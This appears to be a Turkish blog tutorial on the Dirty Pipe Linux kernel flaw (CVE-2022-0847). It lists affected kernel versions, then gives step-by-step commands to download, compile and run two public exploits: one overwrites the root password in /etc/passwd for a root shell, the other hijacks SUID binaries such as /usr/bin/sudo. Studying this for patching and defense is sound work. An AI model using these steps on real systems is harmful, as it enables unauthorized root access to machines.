Dirty Pipe Nedir?

Pipe, Linux'ta tek yönlü ve süreçler arası bir iletişim yöntemidir . Bir işlemin bir boru arabelleği kullanarak öncekinden girdi almasına izin verir.

https://www.exploit-db.com/exploits/50808

Güvenlik Açığı Hakkında

  • Dirty Pipe (CVE-2022-0847), Linux çekirdeğinde, ayrıcalığı olmayan bir kullanıcının aşağıdakileri yapmasına potansiyel olarak izin verebilecek yerel bir ayrıcalık yükseltme güvenlik açığıdır:
    • /etc/passwd gibi rastgele salt okunur dosyaları değiştirin/üzerine yazın.
    • Yükseltilmiş bir kabuk elde edin.

Etkilenen sürümler

  • 5.8'den daha yeni Linux çekirdek sürümleri etkilenir.
  • Şimdiye kadar güvenlik açığı aşağıdaki Linux çekirdek sürümlerinde düzeltildi:
    • 5.16.11
    • 5.15.25
    • 5.10.102

Bir hedef sistemin savunmasız olup olmadığından emin değilseniz, @basharkey tarafından geliştirilen bu gerçekten harika bash betiğini kullanın. 

Dirty Pipe Kullanımı

Aşağıdaki linkten dosyanın bağlantı linkini kopyalayalım.

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

Sunucuda /tmp dizinine gidelim. 

cd /tmp

git clone, wget veya curl aracı kullanarak indirme işlemini gerçekleştirelim.

git https:/link
curl -LJO https:/link
wget --no-check-certificate --content-disposition https:/link

İndirdiğimiz zip dosyalarını çıkartalım.

unzip file

Her iki istismarın derlenmesini otomatikleştirmek için size otomatik bir derleyici bash betiği sağlanmıştır. İstismarı başarılı bir şekilde derlemek için GCC'nin kurulu olması gerekir.

 compile.sh betiğini  çalıştırma iznini verip , aşağıdaki gibi çalıştırabilirsiniz:

chmod +x compile.sh
./compile.sh

Exploit-1 - Salt okunur dosyaları değiştirme/üzerine yazma

Bu depo 2 istismar içerir, 'exploit-1.c' istismarı keyfi salt okunur dosyaları değiştirmek veya üzerine yazmak için kullanılabilir.

Bu istismar, Max Kellermann tarafından geliştirilen ve /etc/passwd dosyasındaki kök parolayı değiştirmek için değiştirilmiş, dolayısıyla size yükseltilmiş bir kabuğa erişim sağlayan bir kavram kanıtıdır.

Açıklardan yararlanma ikili dosyasını çalıştırma

Açıktan yararlanma kodu, kök parolayı "piped" parolasıyla değiştirmek üzere zaten yapılandırılmıştır ve /etc/passwd dosyasının /tmp/passwd.bak altındaki bir yedeğini alacaktır. Ayrıca, istismar size yükseltilmiş bir kök kabuğu da sağlayacak ve bittiğinde orijinal passwd dosyasını geri yükleyecektir.

./exploit-1

Exploit-2 - SUID ikili dosyalarını ele geçirme

Bu istismar, kök olarak çalışan salt okunur SUID işlem belleğindeki verileri enjekte etmek ve üzerine yazmak için kullanılabilir.

SUID ikili dosyalarını bulma

find / -perm -4000 2>/dev/null

Açıklardan yararlanma ikili dosyasını çalıştırma

./exploit-2 /usr/bin/sudo
Blog'a Dön